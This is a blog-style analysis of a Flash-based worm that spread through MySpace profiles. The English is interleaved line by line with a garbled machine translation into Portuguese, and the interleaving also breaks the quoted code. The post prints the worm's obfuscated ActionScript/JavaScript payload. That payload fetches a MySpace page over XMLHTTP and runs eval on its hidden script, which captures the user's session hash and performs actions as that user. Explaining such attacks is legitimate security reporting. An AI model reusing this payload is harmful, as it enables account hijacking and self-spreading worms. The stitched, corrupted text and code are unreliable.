MySpace has been infected by Flash based (swf) worm which spreading rapidly through MySpace. MySpace tenha sido infectado pelo Flash baseados (FS) worm que espalhar rapidamente por MySpace. It is embedding JavaScript code into users’ profiles that redirects visitors to a site claiming the US government was behind the 9/11 terrorist attacks, Symantec Trata-se de código JavaScript na incorporação dos usuários perfis que redireciona os visitantes para um site alegando os E.U. governo estava por trás do 9 / 11 atentados terroristas, Symantec warned alertou Monday. Segunda-feira. However it may be just the tip of the iceberg. No entanto, pode ser apenas a ponta do iceberg. Let’s take a look at how it works to understand how it can be easily modified to deliver much devastating payloads. Vamos dar uma olhada em como funciona a compreender como ele pode ser facilmente modificado para oferecer muito mais devastador cargas úteis.

The unnamed worm isn’t malicious but the Shockwave Flash (.swf) file containing the payload embeds JavaScript into the profile of any MySpace user who views the .swf file. O worm unnamed não é malicioso, mas o Shockwave Flash (. Swf) arquivo que contém a carga útil players JavaScript em todo o perfil do usuário MySpace que as opiniões. Swf arquivo. This can easily replicate Isso pode facilmente replicar Samy is my friend Samy é meu amigo worm without breaking a sweat. worm sem quebrar um suor.

This javascript code would then be interpreted by any user who visited the site, allowing sensitive data to be stolen, such as a hash value required to carry out operations as a user, and performing operations on behalf of that users (without consent obviously). Este código Javascript passaria então a ser interpretado por qualquer usuário que visitaram o site, permitindo que os dados sensíveis para ser roubado, como um valor hash necessários para levar a cabo operações como um usuário, e realizando operações em nome de que os utilizadores (sem consentimento obviamente). Currently, that access is being used only to spread the JavaScript code to other profiles on the popular social network site. No momento, que o acesso está sendo usado apenas para espalhar o código JavaScript para outros perfis populares sobre a rede social local.

If the payload is malicious, it can carry out secondary attacks like targeting recently discovered vulnerabilities affecting Microsoft Office content. Se o equipamento de capacidade é malicioso, ele pode realizar ataques secundários como segmentação vulnerabilidades recentemente descobertas que afectam Microsoft Office conteúdo. The impact would be much higher exposing even sensitive information on your hard-disk. O impacto seria muito mais elevado, mesmo expondo as informações sensíveis em seu disco rígido.

Let’s take a look at the worm, thanks to research by Vamos dar uma olhada na worm, graças à investigação em kinematic.theory :

When you visited an already infected page, there is a Flash object embedded (”redirect.swf”) which contains the actionscript: Quando você visitar uma página já infectados, existe um objeto flash embutido ( "redirect.swf") que contém o ActionScript:
getURL(" getURL ( " url URL “); ");

It opens and redirects you to the specified blog URL. Ela abre e redireciona-lo para a URL especificada blog.

On this blog url there is another flash file embedded - “retrievecookie.swf”. Quanto a este blog url existe um outro arquivo flash embutido - "retrievecookie.swf". It contains: Ele contém:

getURL("javas\n\rcript: var x = new ActiveXObject(\'Msxml2.XMLHTTP\');x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));while((sc.indexOf(\' getURL ( "javas \ n \ rcript: var x = new ActiveXObject (\" Msxml2.XMLHTTP \ '); x.open (\' GET \ ", \" http://editprofile.myspace.com/index.cfm? fuseaction = user.HomeComments & friendID = 93634373 \ ", true); x.onreadystatechange = function () (if (x.readyState == 4) (var pg = x.responseText; var sc = pg.substring (pg.indexOf (\ 'BX-\') +3, pg.indexOf (\ "-EX \ ')); while ((sc.indexOf (\'
\’)!=-1)||(sc.indexOf(\’-XXX\’)!=-1)){var n=sc.indexOf(\’ \')!=- 1) | | (sc.indexOf (\ "-XXX \')!=- 1)) (var n = sc.indexOf (\ '
\’);if(n==-1)n=sc.indexOf(\’-XXX\’);sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};” + “eval(sc);}};” + “x.send(null);”, “”); \ '); Se (n ==- 1) n = sc.indexOf (\ "-XXX \'); sc.substring sc = (0, n) + sc.substring (n +5, sc.length); ); "+" Eval (SC );}};" + "x.send (nulo);", "");

It opens another blog post ( Ela abre um outro blog ( link ) and evaluates its contents. ) E avalia o seu conteúdo.

This code gets your MySpace hash which allows anyone to act as you on MySpace and perform any operations on your behalf like changing your password or adding someone unknown as your friend, anything you can do on MySpace. Este código recebe seu MySpace hash que permite que qualquer pessoa a agir como você no MySpace e efectuar quaisquer operações em seu nome como alterar sua senha ou acrescentando alguém desconhecido como seu amigo, você pode fazer qualquer coisa no MySpace. Currently the code adds a message to your MySpace profile. Atualmente o código acrescenta uma mensagem para o seu perfil MySpace. It extensively use AJAX for its operations. É amplamente uso AJAX para suas operações.